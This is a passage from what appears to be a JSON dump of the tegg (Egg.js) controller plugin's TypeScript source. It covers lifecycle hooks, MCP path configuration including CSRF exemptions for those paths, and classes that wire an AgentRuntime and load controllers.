AGENT_CONTROLLER_PROTO_IMPL_TYPE,\n      AgentControllerProto.createProto,\n    );\n    AgentControllerObject.setLogger(this.app.logger);\n  }\n\n  configWillLoad(): void {\n    this.app.loadUnitLifecycleUtil.registerLifecycle(this.loadUnitHook);\n    this.app.eggPrototypeLifecycleUtil.registerLifecycle(this.controllerPrototypeHook);\n    this.app.eggObjectFactory.registerEggObjectCreateMethod(AgentControllerProto, AgentControllerObject.createObject);\n    this.app.loaderFactory.registerLoader(CONTROLLER_LOAD_UNIT, (unitPath) => {\n      return new EggControllerLoader(unitPath);\n    });\n    this.controllerRegisterFactory.registerControllerRegister(ControllerType.HTTP, HTTPControllerRegister.create);\n    this.app.loadUnitFactory.registerLoadUnitCreator(\n      CONTROLLER_LOAD_UNIT,\n      (ctx: LoadUnitLifecycleContext): ControllerLoadUnit => {\n        return new ControllerLoadUnit(\n          `tegg-app-controller:${ctx.unitPath}`,\n          ctx.unitPath,\n          ctx.loader,\n          this.app.eggPrototypeFactory,\n          this.app.eggPrototypeCreatorFactory,\n        );\n      },\n    );\n    this.app.loadUnitInstanceFactory.registerLoadUnitInstanceClass(\n      CONTROLLER_LOAD_UNIT,\n      (ctx: LoadUnitInstanceLifecycleContext): ModuleLoadUnitInstance => {\n        return new ModuleLoadUnitInstance(ctx.loadUnit);\n      },\n    );\n\n    if (this.app.config.security?.csrf !== void 0) {\n      assert(\n        typeof this.app.config.security.csrf === 'boolean' || typeof this.app.config.security.csrf === 'object',\n        'csrf must be boolean or object',\n      );\n\n      if (typeof this.app.config.security.csrf === 'boolean') {\n        (this.app.config.security as any).csrf = {\n          enable: this.app.config.security.csrf,\n        };\n      }\n    }\n\n    // init http root proto middleware\n    this.prepareMiddleware(this.app.config.coreMiddleware);\n    if (this.mcpEnable()) {\n      this.controllerRegisterFactory.registerControllerRegister(ControllerType.MCP, MCPControllerRegister.create);\n      // Don't let the mcp's body be consumed\n      this.app.config.coreMiddleware.unshift('mcpBodyMiddleware');\n\n      if (this.app.config.security.csrf.ignore) {\n        if (Array.isArray(this.app.config.security.csrf.ignore)) {\n          this.app.config.security.csrf.ignore = [\n            /^\\/mcp\\//,\n            this.app.config.mcp.sseInitPath,\n            this.app.config.mcp.sseMessagePath,\n            this.app.config.mcp.streamPath,\n            this.app.config.mcp.statelessStreamPath,\n            ...(Array.isArray(this.app.config.security.csrf.ignore)\n              ? this.app.config.security.csrf.ignore\n              : [this.app.config.security.csrf.ignore]),\n          ];\n        }\n      } else {\n        this.app.config.security.csrf.ignore = [\n          /^\\/mcp\\//,\n          this.app.config.mcp.sseInitPath,\n          this.app.config.mcp.sseMessagePath,\n          this.app.config.mcp.streamPath,\n          this.app.config.mcp.statelessStreamPath,\n        ];\n      }\n\n      if (this.app.config.mcp.multipleServer) {\n        for (const name of Object.keys(this.app.config.mcp.multipleServer)) {\n          ['sseInitPath', 'sseMessagePath', 'streamPath', 'statelessStreamPath'].forEach((key) => {\n            if (this.app.config.mcp.multipleServer[name][key])\n              (this.app.config.security.csrf.ignore as any[]).push(this.app.config.mcp.multipleServer[name][key]);\n          });\n        }\n      }\n    }\n  }\n\n  prepareMiddleware(middlewareNames: string[]): string[] {\n    if (!middlewareNames.includes('teggCtxLifecycleMiddleware')) {\n      middlewareNames.unshift('teggCtxLifecycleMiddleware');\n    }\n\n    const index = middlewareNames.indexOf('teggCtxLifecycleMiddleware');\n    middlewareNames.splice(index, 0, 'teggRootProto');\n    return middlewareNames;\n  }\n\n  async didLoad(): Promise<void> {\n    await this.app.moduleHandler.ready();\n    this.controllerLoadUnitHandler = new ControllerLoadUnitHandler(this.app);\n    await this.controllerLoadUnitHandler.ready();\n\n    // The real register HTTP controller/method.\n    // HTTP method should sort by priority\n    // The HTTPControllerRegister will collect all the methods\n    // and register methods after collect is done.\n    HTTPControllerRegister.instance?.doRegister(this.app.rootProtoManager);\n\n    this.app.config.mcp.hooks = MCPControllerRegister.hooks;\n  }\n\n  configDidLoad(): void {\n    GlobalGraph.instance?.registerBuildHook(middlewareGraphHook);\n  }\n\n  async willReady(): Promise<void> {\n    if (this.mcpEnable()) {\n      await MCPControllerRegister.connectStatelessStreamTransport();\n      const names = MCPControllerRegister.instance?.mcpConfig.getMultipleServerNames();\n      if (names && names.length > 0) {\n        for (const name of names) {\n          await MCPControllerRegister.connectStatelessStreamTransport(name);\n        }\n      }\n    }\n  }\n\n  mcpEnable(): boolean {\n    return !!this.app.plugins.mcpProxy?.enable;\n  }\n\n  async beforeClose(): Promise<void> {\n    if (this.controllerLoadUnitHandler) {\n      await this.controllerLoadUnitHandler.destroy();\n    }\n    this.app.loadUnitLifecycleUtil.deleteLifecycle(this.loadUnitHook);\n    this.app.eggPrototypeLifecycleUtil.deleteLifecycle(this.controllerPrototypeHook);\n    ControllerMetadataManager.instance.clear();\n    HTTPControllerRegister.clean();\n    MCPControllerRegister.clean();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/config/config.default.ts",
    "content": "import { randomUUID } from 'node:crypto';\n\nexport default (): {\n  mcp: {\n    sseInitPath: string;\n    sseMessagePath: string;\n    streamPath: string;\n    statelessStreamPath: string;\n    sessionIdGenerator: typeof randomUUID;\n  };\n} => {\n  const config = {\n    mcp: {\n      sseInitPath: '/mcp/sse',\n      sseMessagePath: '/mcp/message',\n      streamPath: '/mcp/stream',\n      statelessStreamPath: '/mcp/stateless/stream',\n      sessionIdGenerator: randomUUID,\n    },\n  };\n\n  return config;\n};\n"
  },
  {
    "path": "tegg/plugin/controller/src/index.ts",
    "content": "import './types.ts';\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/AgentControllerObject.ts",
    "content": "import { AgentRuntime, type AgentExecutor, AGENT_RUNTIME, HttpSSEWriter } from '@eggjs/agent-runtime';\nimport { AgentInfoUtil } from '@eggjs/controller-decorator';\nimport { IdenticalUtil } from '@eggjs/lifecycle';\nimport { LoadUnitFactory } from '@eggjs/metadata';\nimport { EGG_CONTEXT } from '@eggjs/module-common';\nimport { ContextHandler, EggContainerFactory, EggObjectLifecycleUtil, EggObjectUtil } from '@eggjs/tegg-runtime';\nimport type {\n  EggObject,\n  EggObjectLifeCycleContext,\n  EggObjectLifecycle,\n  EggObjectName,\n  EggPrototype,\n  EggPrototypeName,\n} from '@eggjs/tegg-types';\nimport { EggObjectStatus, ObjectInitType } from '@eggjs/tegg-types';\nimport type { AgentStore, CreateRunInput } from '@eggjs/tegg-types/agent-runtime';\nimport type { EggLogger } from 'egg';\n\nimport { AgentControllerProto } from './AgentControllerProto.ts';\n\n/** Method names that can be delegated to AgentRuntime. */\ntype AgentMethodName = 'createThread' | 'getThread' | 'asyncRun' | 'syncRun' | 'getRun' | 'cancelRun';\n\nconst AGENT_METHOD_NAMES: AgentMethodName[] = [\n  'createThread',\n  'getThread',\n  'asyncRun',\n  'syncRun',\n  'getRun',\n  'cancelRun',\n];\n\n/**\n * Custom EggObject for @AgentController classes.\n *\n * Replicates the full EggObjectImpl.initWithInjectProperty lifecycle and\n * inserts AgentRuntime delegate installation between postInject and init\n * hooks — exactly where the user's `init()` expects runtime to be ready.\n */\nexport class AgentControllerObject implements EggObject {\n  private static logger: EggLogger;\n\n  private _obj!: object;\n  private status: EggObjectStatus = EggObjectStatus.PENDING;\n  private runtime: AgentRuntime | undefined;\n\n  readonly id: string;\n  readonly name: EggPrototypeName;\n  readonly proto: AgentControllerProto;\n\n  /** Inject a logger to be used by all AgentRuntime instances. */\n  static setLogger(logger: EggLogger): void {\n    AgentControllerObject.logger = logger;\n  }\n\n  constructor(name: EggObjectName, proto: AgentControllerProto) {\n    this.name = name;\n    this.proto = proto;\n    const ctx = ContextHandler.getContext();\n    this.id = IdenticalUtil.createObjectId(this.proto.id, ctx?.id);\n  }\n\n  get obj(): object {\n    return this._obj;\n  }\n\n  get isReady(): boolean {\n    return this.status === EggObjectStatus.READY;\n  }\n\n  injectProperty(name: EggObjectName, descriptor: PropertyDescriptor): void {\n    Reflect.defineProperty(this._obj, name, descriptor);\n  }\n\n  /**\n   * Full lifecycle sequence mirroring EggObjectImpl.initWithInjectProperty,\n   * with AgentRuntime installation inserted between postInject and init.\n   */\n  async init(ctx: EggObjectLifeCycleContext): Promise<void> {\n    try {\n      // 1. Construct object\n      this._obj = this.proto.constructEggObject();\n      const objLifecycleHook = this._obj as EggObjectLifecycle;\n\n      // 2. Global preCreate hook\n      await EggObjectLifecycleUtil.objectPreCreate(ctx, this);\n\n      // 3. Self postConstruct hook\n      const postConstructMethod =\n        EggObjectLifecycleUtil.getLifecycleHook('postConstruct', this.proto) ?? 'postConstruct';\n      if (objLifecycleHook[postConstructMethod]) {\n        await objLifecycleHook[postConstructMethod](ctx, this);\n      }\n\n      // 4. Self preInject hook\n      const preInjectMethod = EggObjectLifecycleUtil.getLifecycleHook('preInject', this.proto) ?? 'preInject';\n      if (objLifecycleHook[preInjectMethod]) {\n        await objLifecycleHook[preInjectMethod](ctx, this);\n      }\n\n      // 5. Inject dependencies\n      await Promise.all(\n        this.proto.injectObjects.map(async (injectObject) => {\n          const proto = injectObject.proto;\n          const loadUnit = LoadUnitFactory.getLoadUnitById(proto.loadUnitId);\n          if (!loadUnit) {\n            throw new Error(`can not find load unit: ${proto.loadUnitId}`);\n          }\n          if (\n            this.proto.initType !== ObjectInitType.CONTEXT &&\n            injectObject.proto.initType === ObjectInitType.CONTEXT\n          ) {\n            this.injectProperty(\n              injectObject.refName,\n              EggObjectUtil.contextEggObjectGetProperty(proto, injectObject.objName),\n            );\n          } else {\n            const injectObj = await EggContainerFactory.getOrCreateEggObject(proto, injectObject.objName);\n            this.injectProperty(injectObject.refName, EggObjectUtil.eggObjectGetProperty(injectObj));\n          }\n        }),\n      );\n\n      // 6. Global postCreate hook\n      await EggObjectLifecycleUtil.objectPostCreate(ctx, this);\n\n      // 7. Self postInject hook\n      const postInjectMethod = EggObjectLifecycleUtil.getLifecycleHook('postInject', this.proto) ?? 'postInject';\n      if (objLifecycleHook[postInjectMethod]) {\n        await objLifecycleHook[postInjectMethod](ctx, this);\n      }\n\n      // === AgentRuntime installation (before user init) ===\n      await this.installAgentRuntime();\n\n      // 8. Self init hook (user's init())\n      const initMethod = EggObjectLifecycleUtil.getLifecycleHook('init', this.proto) ?? 'init';\n      if (objLifecycleHook[initMethod]) {\n        await objLifecycleHook[initMethod](ctx, this);\n      }\n\n      // 9. Ready\n      this.status = EggObjectStatus.READY;\n    } catch (e) {\n      // Clean up runtime if it was created but init failed\n      if (this.runtime) {\n        try {\n          await this.runtime.destroy();\n        } catch {\n          // Swallow cleanup errors to preserve the original exception\n        }\n        this.runtime = undefined;\n      }\n      this.status = EggObjectStatus.ERROR;\n      throw e;\n    }\n  }\n\n  async destroy(ctx: EggObjectLifeCycleContext): Promise<void> {\n    if (this.status === EggObjectStatus.READY) {\n      this.status = EggObjectStatus.DESTROYING;\n\n      // Destroy AgentRuntime first (waits for in-flight tasks)\n      if (this.runtime) {\n        await this.runtime.destroy();\n      }\n\n      // Global preDestroy hook\n      await EggObjectLifecycleUtil.objectPreDestroy(ctx, this);\n\n      // Self lifecycle hooks\n      const objLifecycleHook = this._obj as EggObjectLifecycle;\n      const preDestroyMethod = EggObjectLifecycleUtil.getLifecycleHook('preDestroy', this.proto) ?? 'preDestroy';\n      if (objLifecycleHook[preDestroyMethod]) {\n        await objLifecycleHook[preDestroyMethod](ctx, this);\n      }\n\n      const destroyMethod = EggObjectLifecycleUtil.getLifecycleHook('destroy', this.proto) ?? 'destroy';\n      if (objLifecycleHook[destroyMethod]) {\n        await objLifecycleHook[destroyMethod](ctx, this);\n      }\n\n      this.status = EggObjectStatus.DESTROYED;\n    }\n  }\n\n  /**\n   * Create AgentRuntime and install delegate methods on the instance.\n   * Logic ported from the removed enhanceAgentController.ts.\n   */\n  private async installAgentRuntime(): Promise<void> {\n    const instance = this._obj as Record<string | symbol, unknown>;\n\n    // Determine which methods are stubs vs user-defined\n    const stubMethods = new Set<AgentMethodName>();\n    for (const name of AGENT_METHOD_NAMES) {\n      const method = instance[name];\n      if (typeof method !== 'function' || AgentInfoUtil.isNotImplemented(method)) {\n        stubMethods.add(name);\n      }\n    }\n    const streamRunFn = instance['streamRun'];\n    const streamRunIsStub = typeof streamRunFn !== 'function' || AgentInfoUtil.isNotImplemented(streamRunFn);\n\n    // Create store — user must implement createStore()\n    let store: AgentStore;\n    const createStoreFn = instance['createStore'];\n    if (typeof createStoreFn === 'function') {\n      store = (await Reflect.apply(createStoreFn, this._obj, [])) as AgentStore;\n    } else {\n      throw new Error(\n        '@AgentController requires a createStore() method. ' +\n          'Implement createStore() in your controller to provide an AgentStore instance.',\n      );\n    }\n    if (store.init) {\n      await store.init();\n    }\n\n    // Create runtime with AgentRuntime.create factory\n    const runtime = AgentRuntime.create({\n      executor: this._obj as AgentExecutor,\n      store,\n      logger: AgentControllerObject.logger,\n    });\n    this.runtime = runtime;\n    instance[AGENT_RUNTIME] = runtime;\n\n    // Install delegate methods for stubs (type-safe: all names are keys of AgentRuntime)\n    for (const methodName of stubMethods) {\n      const runtimeMethod = runtime[methodName].bind(runtime);\n      instance[methodName] = runtimeMethod;\n    }\n\n    // streamRun needs special handling: create HttpSSEWriter from request context\n    if (streamRunIsStub) {\n      instance['streamRun'] = async (input: CreateRunInput): Promise<void> => {\n        const runtimeCtx = ContextHandler.getContext();\n        if (!runtimeCtx) {\n          throw new Error('streamRun must be called within a request context');\n        }\n        const eggCtx = runtimeCtx.get(EGG_CONTEXT);\n        eggCtx.respond = false;\n        const writer = new HttpSSEWriter(eggCtx.res);\n        return runtime.streamRun(input, writer);\n      };\n    }\n  }\n\n  static async createObject(\n    name: EggObjectName,\n    proto: EggPrototype,\n    lifecycleContext: EggObjectLifeCycleContext,\n  ): Promise<AgentControllerObject> {\n    const obj = new AgentControllerObject(name, proto as AgentControllerProto);\n    await obj.init(lifecycleContext);\n    return obj;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/AgentControllerProto.ts",
    "content": "import { EggPrototypeCreatorFactory } from '@eggjs/metadata';\nimport type {\n  AccessLevel,\n  EggPrototype,\n  EggPrototypeCreator,\n  EggPrototypeLifecycleContext,\n  EggPrototypeName,\n  InjectConstructorProto,\n  InjectObjectProto,\n  InjectType,\n  MetaDataKey,\n  ObjectInitTypeLike,\n  QualifierAttribute,\n  QualifierInfo,\n  QualifierValue,\n} from '@eggjs/tegg-types';\nimport { DEFAULT_PROTO_IMPL_TYPE } from '@eggjs/tegg-types';\n\n/**\n * Wraps a standard EggPrototypeImpl (created by the DEFAULT creator) to\n * provide a distinct class identity so that EggObjectFactory can dispatch\n * to AgentControllerObject.createObject.\n *\n * All EggPrototype interface members are delegated to the inner proto.\n * Symbol-keyed properties (qualifier descriptors set by the runtime) are\n * copied from the delegate in the constructor via Object.defineProperty.\n */\nexport class AgentControllerProto implements EggPrototype {\n  [key: symbol]: PropertyDescriptor;\n\n  private readonly delegate: EggPrototype;\n\n  constructor(delegate: EggPrototype) {\n    this.delegate = delegate;\n\n    // Copy symbol-keyed properties from delegate (qualifier descriptors, etc.)\n    for (const sym of Object.getOwnPropertySymbols(delegate)) {\n      const desc = Object.getOwnPropertyDescriptor(delegate, sym);\n      if (desc) {\n        Object.defineProperty(this, sym, desc);\n      }\n    }\n  }\n\n  get id(): string {\n    return this.delegate.id;\n  }\n  get name(): EggPrototypeName {\n    return this.delegate.name;\n  }\n  get initType(): ObjectInitTypeLike {\n    return this.delegate.initType;\n  }\n  get accessLevel(): AccessLevel {\n    return this.delegate.accessLevel;\n  }\n  get loadUnitId(): string {\n    return this.delegate.loadUnitId;\n  }\n  get injectObjects(): Array<InjectObjectProto | InjectConstructorProto> {\n    return this.delegate.injectObjects;\n  }\n  get injectType(): InjectType | undefined {\n    return this.delegate.injectType;\n  }\n  get className(): string | undefined {\n    return this.delegate.className;\n  }\n  get multiInstanceConstructorIndex(): number | undefined {\n    return this.delegate.multiInstanceConstructorIndex;\n  }\n  get multiInstanceConstructorAttributes(): QualifierAttribute[] | undefined {\n    return this.delegate.multiInstanceConstructorAttributes;\n  }\n\n  getMetaData<T>(metadataKey: MetaDataKey): T | undefined {\n    return this.delegate.getMetaData(metadataKey);\n  }\n\n  verifyQualifier(qualifier: QualifierInfo): boolean {\n    return this.delegate.verifyQualifier(qualifier);\n  }\n\n  verifyQualifiers(qualifiers: QualifierInfo[]): boolean {\n    return this.delegate.verifyQualifiers(qualifiers);\n  }\n\n  getQualifier(attribute: QualifierAttribute): QualifierValue | undefined {\n    return this.delegate.getQualifier(attribute);\n  }\n\n  constructEggObject(...args: any): object {\n    return this.delegate.constructEggObject(...args);\n  }\n\n  static createProto(ctx: EggPrototypeLifecycleContext): AgentControllerProto {\n    const defaultCreator: EggPrototypeCreator | undefined =\n      EggPrototypeCreatorFactory.getPrototypeCreator(DEFAULT_PROTO_IMPL_TYPE);\n    if (!defaultCreator) {\n      throw new Error(`Default prototype creator (${DEFAULT_PROTO_IMPL_TYPE}) not registered`);\n    }\n    const delegate = defaultCreator(ctx);\n    return new AgentControllerProto(delegate);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/AppLoadUnitControllerHook.ts",
    "content": "import { CONTROLLER_META_DATA, type ControllerMetadata } from '@eggjs/controller-decorator';\nimport type { LifecycleHook } from '@eggjs/lifecycle';\nimport type { LoadUnit, LoadUnitLifecycleContext } from '@eggjs/metadata';\n\nimport { ControllerMetadataManager } from './ControllerMetadataManager.ts';\nimport { ControllerRegisterFactory } from './ControllerRegisterFactory.ts';\nimport { RootProtoManager } from './RootProtoManager.ts';\n\nexport class AppLoadUnitControllerHook implements LifecycleHook<LoadUnitLifecycleContext, LoadUnit> {\n  private readonly controllerRegisterFactory: ControllerRegisterFactory;\n  private readonly rootProtoManager: RootProtoManager;\n\n  constructor(controllerRegisterFactory: ControllerRegisterFactory, rootProtoManager: RootProtoManager) {\n    this.controllerRegisterFactory = controllerRegisterFactory;\n    this.rootProtoManager = rootProtoManager;\n  }\n\n  async postCreate(_: LoadUnitLifecycleContext, obj: LoadUnit): Promise<void> {\n    const iterator = obj.iterateEggPrototype();\n    for (const proto of iterator) {\n      const metadata: ControllerMetadata | undefined = proto.getMetaData(CONTROLLER_META_DATA);\n      if (!metadata) {\n        continue;\n      }\n      const register = this.controllerRegisterFactory.getControllerRegister(proto, metadata);\n      if (!register) {\n        throw new Error(`not find controller implement for ${String(proto.name)} which type is ${metadata.type}`);\n      }\n      ControllerMetadataManager.instance.addController(metadata);\n      await register.register(this.rootProtoManager, obj);\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/ControllerLoadUnit.ts",
    "content": "import type { EggPrototypeName, QualifierInfo } from '@eggjs/core-decorator';\nimport { IdenticalUtil } from '@eggjs/lifecycle';\nimport {\n  type EggPrototype,\n  EggPrototypeFactory,\n  type Loader,\n  type LoadUnit,\n  type EggPrototypeCreatorFactory,\n} from '@eggjs/metadata';\nimport { MapUtil } from '@eggjs/tegg-common-util';\nimport type { Id } from '@eggjs/tegg-types';\n\nexport const CONTROLLER_LOAD_UNIT = 'app#controller';\n\n// ControllerLoadUnit is responsible for manage controller proto\nexport class ControllerLoadUnit implements LoadUnit {\n  private readonly loader: Loader;\n  id: Id;\n  readonly name: string;\n  readonly type: string = CONTROLLER_LOAD_UNIT;\n  readonly unitPath: string;\n  private eggPrototypeFactory: EggPrototypeFactory;\n  private eggPrototypeCreatorFactory: typeof EggPrototypeCreatorFactory;\n  private protoMap: Map<EggPrototypeName, EggPrototype[]> = new Map();\n\n  constructor(\n    name: string,\n    unitPath: string,\n    loader: Loader,\n    eggPrototypeFactory: EggPrototypeFactory,\n    eggPrototypeCreatorFactory: typeof EggPrototypeCreatorFactory,\n  ) {\n    this.id = IdenticalUtil.createLoadUnitId(name);\n    this.name = name;\n    this.unitPath = unitPath;\n    this.loader = loader;\n    this.eggPrototypeFactory = eggPrototypeFactory;\n    this.eggPrototypeCreatorFactory = eggPrototypeCreatorFactory;\n  }\n\n  async init(): Promise<void> {\n    const clazzList = await this.loader.load();\n    for (const clazz of clazzList) {\n      const protos = await this.eggPrototypeCreatorFactory.createProto(clazz, this);\n      for (const proto of protos) {\n        this.eggPrototypeFactory.registerPrototype(proto, this);\n      }\n    }\n  }\n\n  containPrototype(proto: EggPrototype): boolean {\n    return !!this.protoMap.get(proto.name)?.find((t) => t === proto);\n  }\n\n  getEggPrototype(name: string, qualifiers: QualifierInfo[]): EggPrototype[] {\n    const protos = this.protoMap.get(name);\n    return protos?.filter((proto) => proto.verifyQualifiers(qualifiers)) || [];\n  }\n\n  registerEggPrototype(proto: EggPrototype): void {\n    const protoList = MapUtil.getOrStore(this.protoMap, proto.name, []);\n    protoList.push(proto);\n  }\n\n  deletePrototype(proto: EggPrototype): void {\n    const protos = this.protoMap.get(proto.name);\n    if (protos) {\n      const index = protos.indexOf(proto);\n      if (index !== -1) {\n        protos.splice(index, 1);\n      }\n    }\n  }\n\n  async destroy(): Promise<void> {\n    for (const namedProtos of this.protoMap.values()) {\n      // Delete prototype will delete item\n      // array iterator is not safe\n      const protos = namedProtos.slice();\n      for (const proto of protos) {\n        EggPrototypeFactory.instance.deletePrototype(proto, this);\n      }\n    }\n    this.protoMap.clear();\n  }\n\n  iterateEggPrototype(): IterableIterator<EggPrototype> {\n    const protos: EggPrototype[] = Array.from(this.protoMap.values()).reduce((p, c) => {\n      p = p.concat(c);\n      return p;\n    }, []);\n    return protos.values();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/ControllerLoadUnitHandler.ts",
    "content": "import path from 'node:path';\n\nimport type { EggLoadUnitType, LoadUnit } from '@eggjs/metadata';\nimport type { LoadUnitInstance } from '@eggjs/tegg-runtime';\nimport type { Application } from 'egg';\nimport { Base } from 'sdk-base';\n\nimport { CONTROLLER_LOAD_UNIT } from './ControllerLoadUnit.ts';\n\nexport class ControllerLoadUnitHandler extends Base {\n  private readonly app: Application;\n  controllerLoadUnit: LoadUnit;\n  controllerLoadUnitInstance: LoadUnitInstance;\n\n  constructor(app: Application) {\n    super({ initMethod: '_init' });\n    this.app = app;\n  }\n\n  async _init(): Promise<void> {\n    const controllerDir = path.join(this.app.config.baseDir, 'app/controller');\n    const loader = this.app.loaderFactory.createLoader(controllerDir, CONTROLLER_LOAD_UNIT as EggLoadUnitType);\n    this.controllerLoadUnit = await this.app.loadUnitFactory.createLoadUnit(\n      controllerDir,\n      CONTROLLER_LOAD_UNIT,\n      loader,\n    );\n    this.controllerLoadUnitInstance = await this.app.loadUnitInstanceFactory.createLoadUnitInstance(\n      this.controllerLoadUnit,\n    );\n  }\n\n  async destroy(): Promise<void> {\n    if (this.controllerLoadUnit) {\n      await this.app.loadUnitFactory.destroyLoadUnit(this.controllerLoadUnit);\n    }\n    if (this.controllerLoadUnitInstance) {\n      await this.app.loadUnitInstanceFactory.destroyLoadUnitInstance(this.controllerLoadUnitInstance);\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/ControllerLoadUnitInstance.ts",
    "content": "import type { EggObjectName, EggPrototypeName } from '@eggjs/core-decorator';\nimport { IdenticalUtil } from '@eggjs/lifecycle';\nimport type { EggPrototype, LoadUnit } from '@eggjs/metadata';\nimport {\n  type EggObject,\n  type LoadUnitInstance,\n  type LoadUnitInstanceLifecycleContext,\n  LoadUnitInstanceLifecycleUtil,\n} from '@eggjs/tegg-runtime';\n\nexport class ControllerLoadUnitInstance implements LoadUnitInstance {\n  readonly loadUnit: LoadUnit;\n  readonly id: string;\n  readonly name: string;\n  private protoToCreateMap: Map<EggPrototypeName, EggPrototype> = new Map();\n  private loadUnitInstanceLifecycleUtil: typeof LoadUnitInstanceLifecycleUtil;\n\n  constructor(loadUnit: LoadUnit, loadUnitInstanceLifecycleUtil: typeof LoadUnitInstanceLifecycleUtil) {\n    this.loadUnit = loadUnit;\n    this.name = loadUnit.name;\n    this.id = IdenticalUtil.createLoadUnitInstanceId(loadUnit.id);\n    this.loadUnitInstanceLifecycleUtil = loadUnitInstanceLifecycleUtil;\n  }\n\n  iterateProtoToCreate(): IterableIterator<[EggObjectName, EggPrototype]> {\n    return this.protoToCreateMap.entries();\n  }\n\n  addProtoToCreate(): void {\n    throw new Error('controller load unit not allow have singleton proto');\n  }\n\n  deleteProtoToCreate(): void {\n    throw new Error('controller load unit not allow have singleton proto');\n  }\n\n  async init(ctx: LoadUnitInstanceLifecycleContext): Promise<void> {\n    await this.loadUnitInstanceLifecycleUtil.objectPreCreate(ctx, this);\n    await this.loadUnitInstanceLifecycleUtil.objectPostCreate(ctx, this);\n  }\n\n  async getOrCreateEggObject(): Promise<EggObject> {\n    throw new Error('controller load unit not allow have singleton proto');\n  }\n\n  getEggObject(): EggObject {\n    throw new Error('controller load unit not allow have singleton proto');\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/ControllerMetadataManager.ts",
    "content": "import type { ControllerMetadata, ControllerTypeLike } from '@eggjs/controller-decorator';\nimport { MapUtil } from '@eggjs/tegg-common-util';\n\nexport class ControllerMetadataManager {\n  private readonly controllers = new Map<ControllerTypeLike, ControllerMetadata[]>();\n\n  static instance: ControllerMetadataManager = new ControllerMetadataManager();\n\n  constructor() {\n    this.controllers = new Map();\n  }\n\n  addController(metadata: ControllerMetadata): void {\n    const typeControllers = MapUtil.getOrStore(this.controllers, metadata.type, []);\n    // 1.check controller name\n    // 2.check proto name\n    const sameNameControllers = typeControllers.filter((c) => c.controllerName === metadata.controllerName);\n    if (sameNameControllers.length) {\n      throw new Error(`duplicate controller name ${metadata.controllerName}`);\n    }\n    const sameProtoControllers = typeControllers.filter((c) => c.protoName === metadata.protoName);\n    if (sameProtoControllers.length) {\n      throw new Error(`duplicate proto name ${String(metadata.protoName)}`);\n    }\n    typeControllers.push(metadata);\n  }\n\n  clear(): void {\n    this.controllers.clear();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/ControllerRegister.ts",
    "content": "import type { LoadUnit } from '@eggjs/metadata';\n\nimport { RootProtoManager } from './RootProtoManager.ts';\n\nexport interface ControllerRegister {\n  register(rootProtoManager: RootProtoManager, loadUnit?: LoadUnit): Promise<void>;\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/ControllerRegisterFactory.ts",
    "content": "import type { ControllerMetadata, ControllerTypeLike } from '@eggjs/controller-decorator';\nimport type { EggPrototype } from '@eggjs/metadata';\nimport type { Application } from 'egg';\n\nimport type { ControllerRegister } from './ControllerRegister.ts';\n\nexport type RegisterCreator = (\n  proto: EggPrototype,\n  controllerMeta: ControllerMetadata,\n  app: Application,\n) => ControllerRegister;\n\nexport class ControllerRegisterFactory {\n  private readonly app: Application;\n  private registerCreatorMap: Map<ControllerTypeLike, RegisterCreator>;\n\n  constructor(app: Application) {\n    this.app = app;\n    this.registerCreatorMap = new Map();\n  }\n\n  registerControllerRegister(type: ControllerTypeLike, creator: RegisterCreator): void {\n    this.registerCreatorMap.set(type, creator);\n  }\n\n  getControllerRegister(proto: EggPrototype, metadata: ControllerMetadata): ControllerRegister | undefined {\n    const creator = this.registerCreatorMap.get(metadata.type);\n    if (!creator) {\n      return;\n    }\n    return creator(proto, metadata, this.app);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/EggControllerLoader.ts",
    "content": "import path from 'node:path';\n\nimport type { EggProtoImplClass } from '@eggjs/core-decorator';\nimport { LoaderUtil } from '@eggjs/tegg-loader';\nimport type { Loader } from '@eggjs/tegg-types';\nimport globby from 'globby';\n\nexport class EggControllerLoader implements Loader {\n  private readonly controllerDir: string;\n\n  constructor(controllerDir: string) {\n    this.controllerDir = controllerDir;\n  }\n\n  async load(): Promise<EggProtoImplClass[]> {\n    const filePattern = LoaderUtil.filePattern();\n    let files: string[];\n    try {\n      const httpControllers = (await globby(filePattern, { cwd: this.controllerDir })).map((file) =>\n        path.join(this.controllerDir, file),\n      );\n      files = httpControllers;\n    } catch {\n      files = [];\n      // app/controller dir not exists\n    }\n    const protoClassList: EggProtoImplClass[] = [];\n    for (const file of files) {\n      const fileClazzList = await LoaderUtil.loadFile(file);\n      for (const clazz of fileClazzList) {\n        protoClassList.push(clazz);\n      }\n    }\n    return protoClassList;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/EggControllerPrototypeHook.ts",
    "content": "import { ControllerMetaBuilderFactory, ControllerMetadataUtil } from '@eggjs/controller-decorator';\nimport type { LifecycleHook } from '@eggjs/lifecycle';\nimport type { EggPrototype, EggPrototypeLifecycleContext } from '@eggjs/metadata';\n\nexport class EggControllerPrototypeHook implements LifecycleHook<EggPrototypeLifecycleContext, EggPrototype> {\n  async postCreate(ctx: EggPrototypeLifecycleContext): Promise<void> {\n    const metadata = ControllerMetaBuilderFactory.build(ctx.clazz);\n    if (metadata) {\n      ControllerMetadataUtil.setControllerMetadata(ctx.clazz, metadata);\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/MiddlewareGraphHook.ts",
